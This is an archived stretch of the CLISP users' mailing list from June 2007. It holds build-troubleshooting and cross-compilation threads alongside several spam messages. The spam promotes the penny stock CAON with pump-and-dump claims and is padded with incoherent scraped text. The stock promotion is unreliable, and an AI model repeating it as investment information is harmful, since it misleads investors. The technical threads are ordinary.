lisp-clisp-list@m.gmane.org Fri Jun 08 10:40:09 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HwiRV-0005BI-OJ for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 10:40:09 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HwiRT-0006Fe-5z for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 10:40:09 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1HwiRO-0006nQ-7F for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 19:40:02 +0200 Received: from 67.32.31.9 ([67.32.31.9]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 08 Jun 2007 19:40:02 +0200 Received: from dmercer by 67.32.31.9 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 08 Jun 2007 19:40:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: David Mercer Date: Fri, 8 Jun 2007 17:35:16 +0000 (UTC) Lines: 20 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 67.32.31.9 (Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2; .NET CLR 3.0.04506.30)) Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Error, Anomalies While Building a Windows CLISP Version X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jun 2007 17:40:09 -0000 I am following Mr. Buß's instructions on building a Windows CLISP version (http://www.frank-buss.de/lisp/clisp.html). The instructions are really good and clear, except that I run into an error on the step when I call configure. test `echo '(print (+ 11 99))' | lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 - Emisc 1:1 -norc -q -M lispinit.mem -` = 110 || exit 1 /bin/sh.exe: test: =: unary operator expected make: *** [check-script] Error 1 I can bypass this error by commenting out line 3190 of src\makemake.in, and I get no further errors. The rest of the instructions work fine, including creating the test program message.exe, which runs correctly. However, CLISP does not seem to work quite right. For instance, I cannot get the REPL, and calling it with command line options such as "-h", "--help", "-- version", "--license" do nothing. I suspect CLISP is having difficulty detecting the standard output and input streams, so anything that depends on those fails. Please advise. Thank-you. From lisp-clisp-list@m.gmane.org Fri Jun 08 10:53:31 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HwieR-0006eG-0N for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 10:53:31 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HwieQ-0004at-LQ for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 10:53:31 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1HwieA-0000jF-39 for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 19:53:14 +0200 Received: from 67.32.31.9 ([67.32.31.9]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 08 Jun 2007 19:53:14 +0200 Received: from dmercer by 67.32.31.9 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 08 Jun 2007 19:53:14 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: David Mercer Date: Fri, 8 Jun 2007 17:52:56 +0000 (UTC) Lines: 21 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 67.32.31.9 (Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2; .NET CLR 3.0.04506.30)) Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] Error, Anomalies While Building a Windows CLISP Version X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jun 2007 17:53:31 -0000 David Mercer alum.mit.edu> writes: . . . > I run into an error on the step when I call configure. . . . I might be an idiot. Perhaps this is what Mr. Buß meant by, "The build fails at the first 'test' call, if you applied the patch, because the console-less application doesn't print values to stdout, but the build of the program istself is completed." I had read that and thought, "I never applied a patch," so it didn't occur to me that this line was telling me to expect an error, and that I am, in fact, building a console-less application. My confusion was that there was never a step called "apply the patch," though I imagine that is what this line which I executed is doing: cat /clisp-2.38.patch | patch -p1 That being said, unless I am not, in fact, an idiot, and that I have not really discovered the source of my problem, I think you can ignore my original post. Sorry. From skof@oanet.com Mon Jun 11 10:10:57 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HxnPt-0004R6-Ee for clisp-list@lists.sourceforge.net; Mon, 11 Jun 2007 10:10:57 -0700 Received: from [85.100.39.235] (helo=dsl.dynamic8510039235.ttnet.net.tr) by mail.sourceforge.net with smtp (Exim 4.44) id 1HxnPq-0000eu-97 for clisp-list@lists.sourceforge.net; Mon, 11 Jun 2007 10:10:57 -0700 Message-ID: <466D8216.1080801@oanet.com> Date: Mon, 11 Jun 2007 20:10:46 +0300 From: Ernest User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [85.100.39.235 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [85.100.39.235 listed in combined.njabl.org] Subject: [clisp-list] A URL is only the exposed part of the URI; the URI contains HTTP headers, cookies, and a URL. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Jun 2007 17:10:57 -0000 News Is Out! CAON Launches R&D Program to Further Production! Chan-On International Inc. Symbol: CAON Friday Close: $0.72 UP 4.35% Read the news. This company is pulling no punches. They has engaged one of the countries top R&D facilities to expand their technology. Get on CAON today! Along with his usual pay, he also gets the overseas rights of his films. Likewise, a refresh button should not trigger new authentication requests after a user has logged out of an application. Right now Mammooty commands the highest salary in Malayalam film industry. Check the user details you supplied and the Oracle Data Integrator documentation to resolve any errors before moving on to the remainder of the exercise. Realms act as guards over protected server areas, and they can apply to one or more protected server areas. Oracle Text can be used to search structured and unstructured documents complementing the SQL wildcard matching. This code should be found in all pages on your secure Web site. Navya Nair as replacement Documentary on Raja Ravivarma Vipin Mohan returns as Lal Jose's cameraman Manya goes to English! Cookie and Session Model. When a new query is executed, a hash lookup into the library cache is done to see if the query had been already parsed. Oracle Data Integrator has chosen default knowledge modules to enable data to be extracted from any database and file and then incrementally loaded into any database. Before you do this, though, you import into your project the knowledge module that provides the changed-data-capture functionality. Oracle Data Integrator, a member of the Oracle Fusion Middleware family of products, addresses your data integration needs in these increasingly heterogeneous environments. An Introduction to Real-Time Data Integration . With Oracle Text, you could do all of this in the database. Venkatesh is the hero and Tollywood has already started to notice Nayantara. Most of the shooting had ended in Chennai. The implementation details are found in the following Cookie and Session Authentication Model section. You will learn how to design and implement an authentication database model, and plan and manage all aspects of user interactions in a browser-hosted application. These repositories can be stored in both Oracle and non-Oracle relational databases and are managed by use of the graphical modules and accessed at runtime by agents. You could even define other database connections beyond the standard three and use them from your Rails application, but this subject goes beyond the scope of this article. Jayasurya too is playing a role in the film. Other heroines from Malayalam, who entered Tamil long after she did, have made their mark. The technology supports hundreds of file types, including Microsoft Office and PDF. From jdif@aliant.ca Mon Jun 11 12:44:54 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hxpos-0003HO-2A for clisp-list@lists.sourceforge.net; Mon, 11 Jun 2007 12:44:54 -0700 Received: from eu241-36.clientes.euskaltel.es ([212.142.241.36]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Hxpoq-0007Ce-LM for clisp-list@lists.sourceforge.net; Mon, 11 Jun 2007 12:44:54 -0700 Message-ID: <466DA627.5040108@aliant.ca> Date: Mon, 11 Jun 2007 21:44:39 +0200 From: Bolton User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [212.142.241.36 listed in dnsbl.sorbs.net] Subject: [clisp-list] " Having a book available for sale in some database - without the obligation to sell a single copy - is not keeping a book "in print" as common sense and the industry have defined that term. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Jun 2007 19:44:54 -0000 News Is Out! CAON Launches R&D Program to Further Production! Chan-On International Inc. Symbol: CAON Friday Close: $0.72 UP 4.35% Read the news. This company is pulling no punches. They has engaged one of the countries top R&D facilities to expand their technology. Get on CAON today! The author of a mystery poem apparently knows the murderer in a London murder case. Timed tickets will be issued for the subsequent book signing, which is expected to last until dawn. It then told the Guild that it will negotiate regarding the reversion of rights clause on a book-by-book basis. Impress your classmates, teacher, girlfriend, boyfriend, husband, wife, or boss. You can visit Patricia's website here. " Print on demand is simply a means of manufacturing a book, making it widely available to retailers and consumers. "If I had a nickel for every book that has been marketed to me as 'this will fill the bill,' I would be drinking in St. " Another wrote, "Please walk away. Ohter definition: To rely on someone for support. The bloggers furiously responded that old-style book reviews are staid and unreadable to today's audience. com Search Enter your search terms Web WritersWrite Submit search form Twitters Books Twitter Greeting Cards Poetry Twitter Screenwriting Twitter Songwriting Twitter Writing Twitter Twitter List J. A verse of the poem suggests the poem's author may have witnessed the murder. Writer's Blog: Old and New Media Clash Again: This Time Over Book Reviews Writer's Blog Blog Homepage Classifieds Linking to Us Our Blogs RSS Feed Search Sitemap WWFeeds. It's about using technology to be able to say that a book never goes out of print, therefore authors can never get their rights back. They didn't know I was on the phone. Rowling will celebrate the release of the last book in the series, Harry Potter and the Deathly Hallows with a midnight reading and signing in London. Writer's Blog: Poetry News Highlights Writer's Blog Blog Homepage Classifieds Linking to Us Our Blogs RSS Feed Search Sitemap WWFeeds. The boom in books-related blogging, it seemed, was a slap in the face to more seasoned literary voices as they watched their own outlets shrink. IT'S time for a truce. Produced Lynn Anderson's "I Never Promised You a Rose Garden. Lucky students meet with Pulitzer Prize winner Maxine Kumin and give her feedback on her upcoming book. Only the lines are getting blurred as more bloggers write for mainstream newspapers, doing commentary and reporting. The singer, who recently won an ASCAP award for penning the Song of The Year "Because of You," reveals some executives still refuse to take her seriously as a songwriter. Actors and directors also have contracts that are up for renewal next year, which could cause even bigger headaches. In other words, it is relying on the changing taste of an ever-changing population. Why shouldn't it be your books? Older battles also remain to be resolved, including the revision of a decades-old formula for compensating writers for work that appears on DVD. Older battles also remain to be resolved, including the revision of a decades-old formula for compensating writers for work that appears on DVD. Strikes are bad for business, so let's hope that the negotiating goes well. "But I welcome the publicity and it's nice that people are finding out my book exists. " That isn't the issue. Cornwell is asking a federal judge to bar Leslie R. They didn't know I was on the phone. Some, perhaps, will read this and take the view that all publicity is good publicity, that spoilers are part of hype, and that I am trying to protect sales rather than my readership. "And it's a good excuse for fun. The potential benefit for all concerned in incremental income for the publishing partnership far outweighs any imaginary negatives purported by the Authors Guild. Winfrey, from the top spot. The book business is a lot like the movie and TV business in that it relies on what consumers would like to see or read to be entertained. Writer's Blog: After Harry Potter is Gone Writer's Blog Blog Homepage Classifieds Linking to Us Our Blogs RSS Feed Search Sitemap WWFeeds. residence is listed in court documents as Woodbridge, Va. and why so many people mix up the two is a must-listen. We love Grammar Girl. Run off at the mouth Run off at the mouth: talking too much. From qus@shawcable.net Thu Jun 14 08:33:43 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HyrKR-0003ls-3F for clisp-list@lists.sourceforge.net; Thu, 14 Jun 2007 08:33:43 -0700 Received: from host136-251-dynamic.55-82-r.retail.telecomitalia.it ([82.55.251.136]) by mail.sourceforge.net with smtp (Exim 4.44) id 1HyrKP-0001Oc-Vq for clisp-list@lists.sourceforge.net; Thu, 14 Jun 2007 08:33:43 -0700 Received: from uesv ([56.107.218.116]) by host136-251-dynamic.55-82-r.retail.telecomitalia.it with Microsoft SMTPSVC(5.0.2195.6713); Thu, 14 Jun 2007 17:33:23 +0200 Message-ID: <46715FC3.2050108@shawcable.net> Date: Thu, 14 Jun 2007 17:33:23 +0200 From: Geffrey Q. Dudley User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [82.55.251.136 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [82.55.251.136 listed in combined.njabl.org] Subject: [clisp-list] le dienstverlening, de communicatie-sector en de ICT-wereld. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 14 Jun 2007 15:33:43 -0000 CAON UP 45% In The Last Week! Chan-On International Inc. Symbol: CAON Close: $0.80 UP CAON continues to climb daily. Up 45% in the last 7 days as investors are excited about this company's new direction. Read the releases, consider the potential and get on CAON first thing Thursday! Via deze blog maakten we al melding van dit initiatief van CDA'er Jos Hessels en ook de landelijke dagbladen brachten het nieuws groot. Wat is de de relatie tussen de onderdelen van KT en MT? next generation contact center? In dit design is een overzichtelijkere structuur met duidelijke verwijzingen aangebracht. Dit leidt weer tot een tevreden klant. Geef uw vakantie data en die van uw medewerkers door. Dat blijkt uit Europees onderzoek naar klantenservice in de zakelijke markt, verricht in opdracht van Easynet. Deze centers zullen dusdanig veel toegevoegde waarde weten te realiseren dat ze ook in de toekomst onmisbaar zijn. dan zijn er uitstekende kansen. Andere uitkomsten uit recent onderzoek van Vodafone: vrouwen laten vaker de voicemail aanstaan en bellen vaker naar de klantenservice dan mannen. De meetbaarheid van de output wordt een substituut voor de persoonlijke relatie die wordt ervaren met de aanbieder. Gemeente heeft Antwoord? integratie van nieuwe technologie? Concreet betekent dit, dat veel Nederlanders een slechte service als een kans zien om extra voordeel te behalen. Is een callcenter altijd een contactcenter of bestaan er contactcenters die geen callcenter zijn? Echter tot mijn verbazing is daar geen statitisch bewijs voor. l sterk naar de waarde van de klant wordt gekeken. Dat is bijzonder handig wanneer u iets wilt bespreken met vrienden of collega? ro Achmea, Groene Land Achmea, Zilveren Kruis Achmea en VGZ scoren net zoals vorig jaar lager dan gemiddeld maar krijgen nog wel een voldoende. Van belangenbehartigers als WGCC en VCN werd in elk geval taal noch teken vernomen. Bijna de helft van de respondenten zegt dat zijn of haar bedrijf niet wil zorgen voor de benodigde apparatuur en internetverbinding om vanuit huis te kunnen werken. CZ, FBTO en Nationale Nederlanden scoorden vorig jaar boven het gemiddeld en dit jaar gemiddeld. Kijk voor meer informatie op de site van Skype beveiliging"Skype ZonesSkype zones is ook een toepassing voor de zakelijke gebruiker. MisbruikDe Tweede Kamer kon zich vinden in het wetsvoorstel om de consument beter te beschermen tegen misbruik van betaalnummers en scherpte dat op enkele punten aan. Groeipotentie is er des te meer in Centraal- en Oost Europa, maar ook in From clientesyproveedores@yahoo.com.ar Thu Jun 14 23:33:03 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hz5Mf-0007j1-Or for clisp-list@lists.sourceforge.net; Thu, 14 Jun 2007 23:32:57 -0700 Received: from 184-160-114-200.fibertel.com.ar ([200.114.160.184] helo=yahoo.com.ar) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hz5Me-00066a-Cz for clisp-list@lists.sourceforge.net; Thu, 14 Jun 2007 23:32:57 -0700 From: clientesyproveedores@yahoo.com.ar To: clisp-list@lists.sourceforge.net Date: 15 Jun 2007 03:32:53 -0300 Message-ID: <20070615033253.3805466C49575327@yahoo.com.ar> MIME-Version: 1.0 Organization: Foobar Inc. x-delete-me: 1 (this tells our server to delete the message) Content-Type: text/plain Content-Transfer-Encoding: quoted-printable X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [200.114.160.184 listed in dnsbl.sorbs.net] Subject: [clisp-list] Sistema de Facturacion-Clientes-Proveedores-Cuentas Corrientes X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jun 2007 06:33:03 -0000 Buen dia. Me dirijo a Ud. a fin de solicitarle autorizacion para el envio (via email) = de material informativo de nuestro sistema de facturacion y gestion comercia= l para Windows. En caso de ser de su interes y para que Ud. reciba la inform= acion adecuada a sus necesidades, solo responda este mail indicandonos la pa= labra "autorizo", junto con su nombre y una direccion de correo donde desea = recibir esta informacion. Desde ya, este envio es gratuito y sin compromiso,= muchas gracias y quedamos a la espera de su respuesta. Cordiales Saludos Damian Caban=20 Ejecutivo de Cuenta Sistemas de Facturacion (R) clientesyproveedores@yahoo.com.ar Buenos Aires - Argentina Este correo electronico no se considera spam ya que cumple con las leyes sob= re comercio electronico por contener instrucciones y una forma de solicitar = la cancelacion de su envio. Si no le interesa recibir novedades, por favor r= esponda este mail con la palabra REMOVER en la linea de asunto. Disculpe las= molestias. From lisp-clisp-list@m.gmane.org Sun Jun 17 03:35:41 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hzs6e-0004ca-LX for clisp-list@lists.sourceforge.net; Sun, 17 Jun 2007 03:35:41 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Hzs6c-0004qy-JF for clisp-list@lists.sourceforge.net; Sun, 17 Jun 2007 03:35:40 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1Hzs63-0007lV-1f for clisp-list@lists.sourceforge.net; Sun, 17 Jun 2007 12:35:03 +0200 Received: from c-d071e255.010-110-73746f32.cust.bredbandsbolaget.se ([85.226.113.208]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 17 Jun 2007 12:35:03 +0200 Received: from larry by c-d071e255.010-110-73746f32.cust.bredbandsbolaget.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 17 Jun 2007 12:35:03 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: larry Date: Sun, 17 Jun 2007 10:30:15 +0000 (UTC) Lines: 15 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 85.226.113.208 (Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4) Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] =?utf-8?q?Successful_compile_of_Clisp_-_but_the_memo?= =?utf-8?b?cnkJZmF1bHQvY29yZWR1bXAgLi4u?= X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 17 Jun 2007 10:35:41 -0000 > Dear Clispers, > I get a compile done, but when the Makefile calls > > ./lisp,run ... > > for the first run I get a memory fault with resulting coredump. > Regards > Frank > This patch should help: http://sourceforge.net/tracker/index.php?func=detail&aid=1607416&group_id=1355&atid=101355 regards, larry liimatainen From Joerg-Cyril.Hoehle@t-systems.com Fri Jun 22 14:24:45 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I1qcX-00034a-Dg for clisp-list@lists.sourceforge.net; Fri, 22 Jun 2007 14:24:45 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I1qcV-0003dt-QB for clisp-list@lists.sourceforge.net; Fri, 22 Jun 2007 14:24:45 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 22 Jun 2007 20:28:33 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by s4de8psaans.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 22 Jun 2007 20:28:32 +0200 x-mimeole: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Fri, 22 Jun 2007 20:28:30 +0200 Message-Id: In-Reply-To: <46695A8D.2050907@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] cross-compilation Thread-Index: Acep0ZRsx4sDQEq2TOK9bdfrrisqGALKLfYg From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 22 Jun 2007 18:28:32.0831 (UTC) FILETIME=[237994F0:01C7B4FB] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: haible@ilog.fr Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jun 2007 21:24:45 -0000 Sam Steingold wrote: >(let ((*features* (cons :win32 (remove :unix *features*)))) >> That implies that in a portability context, you'll need to have your >> future Zaurus lisp.run compile in interpreted mode all .lisp=20 >> files that serve to build CLISP's lispinit.mem. >I don't think so. >I think all you need to do is to ensure that your *features* is correct >for Zaurus when you cross-compile on (say) Linux. Wasn't there a place where even C's sizeof(setjmp_buf) shines through to some Lisp structure? Or where was that? (walking the stack frames?) Regards, Jorg Hohle. From sds@gnu.org Fri Jun 22 14:44:36 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I1qvk-0005C1-Jo for clisp-list@lists.sourceforge.net; Fri, 22 Jun 2007 14:44:36 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I1qvj-0000qF-6C for clisp-list@lists.sourceforge.net; Fri, 22 Jun 2007 14:44:36 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A2C3030C; Fri, 22 Jun 2007 17:44:35 -0400 Message-ID: <467C42B3.9000005@gnu.org> Date: Fri, 22 Jun 2007 17:44:19 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" References: <46695A8D.2050907@gnu.org> In-Reply-To: X-Enigmail-Version: 0.95.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: haible@ilog.fr, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jun 2007 21:44:36 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: >> (let ((*features* (cons :win32 (remove :unix *features*)))) >>> That implies that in a portability context, you'll need to have your >>> future Zaurus lisp.run compile in interpreted mode all .lisp >>> files that serve to build CLISP's lispinit.mem. >> I don't think so. >> I think all you need to do is to ensure that your *features* is correct >> for Zaurus when you cross-compile on (say) Linux. > > Wasn't there a place where even C's sizeof(setjmp_buf) shines through to > some Lisp structure? Or where was that? (walking the stack frames?) system::*jmpbuf-size* indeed exists, but it is never used. system::*big-endian* is actually used in compiler.lisp, so you will need to set it in addition to *features* before compiling. at any rate, this is getting sufficiently interesting no, so that if the OP does try to do this, he should write a log for inclusion into the manual. it is mentioned in the bytecode spec doc/impbyte.xml though. I guess it is used for interpreting the bytecodes, which are platform independent. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGfEKzPp1Qsf2qnMcRAtOPAJ9Huuiph45CfVU//Sx50dxGevNd4gCfTxeJ Gbfy+l3ph3Kos2dSvcn1Fe0= =0XNn -----END PGP SIGNATURE----- From sales@gayocafe.com Tue Jun 26 03:16:08 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I385g-00060b-9F for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 03:16:08 -0700 Received: from [217.72.214.242] (helo=christin-09e4fb.cablenet.de) by mail.sourceforge.net with smtp (Exim 4.44) id 1I385e-00081c-Bz for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 03:16:08 -0700 Message-ID: <41fd01c7b7da$06b23e60$f2d648d9@christin-09e4fb.cablenet.de> From: "Sales" To: "Fumerton Sarah" Date: Tue, 26 Jun 2007 10:15:54 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 